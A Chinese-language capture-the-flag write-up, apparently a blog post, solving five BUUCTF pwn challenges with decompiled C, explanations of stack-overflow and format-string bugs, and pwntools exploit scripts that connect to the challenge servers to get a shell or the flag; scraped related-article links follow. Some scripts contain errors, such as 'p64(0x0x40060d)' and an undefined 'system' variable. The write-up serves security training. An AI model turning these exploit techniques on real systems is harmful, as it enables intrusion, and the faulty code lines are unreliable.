buu pwn wp(持续更新)
1、warmup_csaw_2016
main函数如下
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
- 首先使用write函数打印文字引导"-Warm Up-", 新行
- 打印"WOW:", 不换行
- 使用sprintf函数将当前sub_40060D函数的地址以16进制格式打印到字符串s中,打印地址和新行
- 打印">",不换行
- 使用gets函数从标准输入读取一行字符到缓冲区v5中
- 返回gets函数读取到的字符数量
提示我们查看sub_40060D函数
sub_40060D函数如下:
int sub_40060D()
{
return system("cat flag.txt");
}
发现是后门函数,可以利用get函数进行栈溢出
exp:
from pwn import *
r = remote("node4.buuoj.cn",25798)
offset = 0x40+8
payload = b'a'*offset+p64(0x0x40060d)
r.sendline(payload)
r.interactive()
2、ciscn_2019_n_1
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
这段代码是 C 语言主函数 main 的实现:
- main 函数的参数及返回值符合标准 C 语言主函数定义
- argc 和 argv 是命令行参数,envp 是环境变量
- setvbuf 函数是设置输入/输出缓冲方式的函数:
- _bss_start 是未初始化数据段的起始位置
- 0LL 表示不使用缓冲
- 2 表示使用行缓冲模式
- 0LL 表示缓冲区大小由函数自动决定
- 因此 setvbuf 为 _bss_start 和标准输入 stdin 设置行缓冲模式
- 调用 func() 函数
- 返回 0 表示程序成功终止
主要功能是:
- 设置未初始化数据段和标准输入为行缓冲模式
- 调用函数 func
- 返回主函数退出码 0
继续查看func()函数:
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
有两种方法:
1.利用gets(v1)进行栈溢出,然后执行system("cat /flag")
字符串v1:

exp如下:
from pwn import *
r = remote("node4.buuoj.cn",25798)
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
r.send(payload)
r.interactive()
2.利用gets(v1)进行栈溢出,覆盖到v2的部分,将v2的值修改为11.28125
观察到v2是从0x04开始,我们需要覆盖0x30-0x04个a

这行disassemble代码是对xmm0和存储在cs段中的地址0x4007F4处double字进行单精度浮点数比较的ucomiss指令。
具体来说:
- ucomiss:单精度浮点数比较指令,比较xmm0和直接地址指定的单精度浮点数,结果存储在状态寄存器中。
- xmm0:xmm寄存器,用于存放单精度浮点数操作数。
- cs:dword_4007F4:使用cs段基址加上偏移0x4007F4处存放的单精度浮点数。
- cs段是代码段,通常存储程序代码及静态数据,0x4007F4处可能是某个全局单精度浮点数常量。
所以这条指令是将xmm0寄存器中的单精度浮点数与存储在0x4007F4地址处的单精度浮点常量进行比较,结果通过状态寄存器表示哪个数较大或两数是否相等。
一般情况下这种cmp指令常用于判断单精度浮点数是否满足某个条件,属于浮点数比较及条件判断常用操作。
我们跟进0x4007F4,发现此处存放着41348000h,即11.28125的十六进制。
于是exp如下:
from pwn import *
p=remote('node3.buuoj.cn',29191)
offset = 0x30-0x04
payload = "A"*offset + p64(0x41348000)
p.sendline(payload)
p.interactive()
3、pwn1_sctf_2016
32位
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
vuln()函数如下:
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
这段代码实现了一个简单的字符串替换。
主要步骤:
- 使用printf打印提示用户输入个人信息
- 使用fgets获取输入存入缓冲区s
- 将s赋值给全局变量input
- 构造两个子字符串"you"和"I"
- 调用replace函数替换input中的"I"为"you"
- 打印替换后的结果
fgets(s, 32, edata);只能读入32个字符
而s从0x3C开始,32个字符无法溢出,但是由于程序会把I替换成you

于是我们就可以造成溢出了
exp如下:
from pwn import *
#r = process('/home/miyu/桌面/warmup_csaw_2016')
#attach(r)
r = remote("node4.buuoj.cn",25798)
payload = b'I'*20+b'a'*4 + p32(0x8048F0D)
r.sendline(payload)
r.interactive()
4.[第五空间2019 决赛]PWN5
main函数:
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
可以发现,第21行printf(buf);存在格式化字符串漏洞
首先我们确定偏移是10

然后我们确定dword_804C044bss字段的地址为0x0804C044
- 解法一:
我们可以构造
payload = p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#4bytes
payload=payload+b'%10$n%11$n%12$n%13$n'
exp如下:
from pwn import *
p = remote("node4.buuoj.cn",28174)
bss = 0x0804C044
payload = p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#4bytes
payload=payload+b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
- 解法二:
利用pwntools自带的fmtstr_payload
from pwn import *
p = remote('node4.buuoj.cn',28174)
elf = ELF('/home/miyu/Desktop/pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
5.jarvisoj_level2
32位栈溢出+构造ROP链
from pwn import *
p = remote("node4.buuoj.cn",26412)
binsh = 0x0804A024
system_plt = 0x8048320
offset = 0x88+4
payload = b'a'*offset+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
32位不用ROPgadget查rdi,直接p32(一个常数)即可
buu pwn wp(持续更新)的更多相关文章
- 【pwn】学pwn日记——栈学习(持续更新)
[pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...
- Vulnhub系列——持续更新
vulnhub系列--持续更新 一 · XXE Lab: 1 使用vmware搭建靶机 扫描存活主机 找到目标主机--192.168.1.18 开始扫描目标端口 发现只开了一个80 ...
- 神技!微信小程序(应用号)抢先入门教程(附最新案例DEMO-豆瓣电影)持续更新
微信小程序 Demo(豆瓣电影) 由于时间的关系,没有办法写一个完整的说明,后续配合一些视频资料,请持续关注 官方文档:https://mp.weixin.qq.com/debug/wxadoc/de ...
- iOS系列教程 目录 (持续更新...)
前言: 听说搞iOS的都是高富帅,身边妹子无数.咱也来玩玩.哈哈. 本篇所有内容使用的是XCode工具.Swift语言进行开发. 我现在也是学习阶段,每一篇内容都是经过自己实际编写完一遍之后,发现 ...
- ASP.NET MVC 5 系列 学习笔记 目录 (持续更新...)
前言: 记得当初培训的时候,学习的还是ASP.NET,现在回想一下,图片水印.统计人数.过滤器....HttpHandler是多么的经典! 不过后来接触到了MVC,便立马爱上了它.Model-View ...
- git常用命令(持续更新中)
git常用命令(持续更新中) 本地仓库操作git int 初始化本地仓库git add . ...
- iOS开发系列文章(持续更新……)
iOS开发系列的文章,内容循序渐进,包含C语言.ObjC.iOS开发以及日后要写的游戏开发和Swift编程几部分内容.文章会持续更新,希望大家多多关注,如果文章对你有帮助请点赞支持,多谢! 为了方便大 ...
- 基于android studio的快捷开发(将持续更新)
对于Android studio作为谷歌公司的亲儿子,自然有它的好用的地方,特别是gradle方式和快捷提示方式真的很棒.下面是我在实际开发中一些比较喜欢用的快速开发快捷键,对于基本的那些就不多说了. ...
- 总结js常用函数和常用技巧(持续更新)
学习和工作的过程中总结的干货,包括常用函数.常用js技巧.常用正则表达式.git笔记等.为刚接触前端的童鞋们提供一个简单的查询的途径,也以此来缅怀我的前端学习之路. PS:此文档,我会持续更新. Aj ...
- 我的敏捷、需求分析、UML、软件设计电子书 - 下载(持续更新中)
我将所有我的电子书汇总在一起,方便大家下载!(持续更新) 文档保存在我的网站——软件知识原创基地上(www.umlonline.org),请放心下载. 1)软件设计是怎样炼成的?(2014-4-1 发 ...
随机推荐
- 如何在.net6webapi中记录每次接口请求的日志
为什么在软件设计中一定要有日志系统? 在软件设计中日志模块是必不可少的一部分,可以帮助开发人员更好的了解程序的运行情况,提高软件的可靠性,安全性和性能,日志通常能帮我们解决如下问题: 调试和故障排查: ...
- 行行AI人才直播第5期:系列课-AI理解及ChatGPT从基础到高级应用
当前,人工智能是全世界研究的重点对象,也是人们茶余饭后讨论的经典话题.自从 OpenAI 发布 ChatGPT-4 之后,似乎无论是在工作.娱乐.甚至是日常生活中,我们都能感受到AI带来的便利和改变. ...
- 基于Sa-Token实现微服务之前的单点登录
修改配置文件,准备好四个域名 127.0.0.1 auth.server.com 127.0.0.1 user.server.com 127.0.0.1 third.server.com 127.0. ...
- 如何不加锁地将数据并发写入Apache Hudi?
最近一位 Hudi 用户询问他们是否可以在不需要任何锁的情况下同时从多个写入端写入单个 Hudi 表. 他们场景是一个不可变的工作负载. 一般来说对于任何多写入端功能,Hudi 建议启用锁定配置. 但 ...
- 从硅谷到北京,百位AI大咖连续两天集聚讨论AI智能和实践
全球AI大咖齐聚北京,探讨人工智能前沿!百位AI大咖倾力出席,冲向AI大浪潮! AI从业者和企业家们,一场引领未来的科技盛宴即将在北京掀起!我们荣幸地宣布,第四届"数据智能创新与实践人工智能 ...
- 微服务探索之路06篇k8s配置文件Yaml部署Redis使用Helm部署MongoDB和kafka
1 安装Redis 1.1创建配置文件redis.conf 切换到自己的目录下如本文是放在/home/ubuntu下 cd /home/ubuntu vim redis.conf bind 0.0.0 ...
- 2021-7-29 MySql进阶
Alter的使用: 列的增加和删减 alter table users add user_name VARCHAR(100);#添加一列在末尾 SELECT * from users; alter t ...
- [golang]标准库-json
前言 json数据格式通常包含两个操作:序列化(把对象转换成JSON数据类型)和反序列化(把JSON数据类型转换成对象),二者操作互逆. Go语言中相关标准库为encoding/json. 示例代码 ...
- JDK中动态库加载路径问题,一文讲清
前言 本周协助测试同事对一套测试环境进行扩容,我们扩容很原始,就是新申请一台机器,直接把jdk.resin容器(一款servlet容器).容器中web应用所在的目录,全拷贝到新机器上,servlet容 ...
- MIT6.s081/6.828 lectrue07:Page faults 以及 Lab5 心得
本篇博客主要是复习 MIT6.s081/6.828 lectrue07:Page faults 以及记录 Lab5 :COW fork 的心得 值得一提的是,2020 年之前的版本第 5 个 lab ...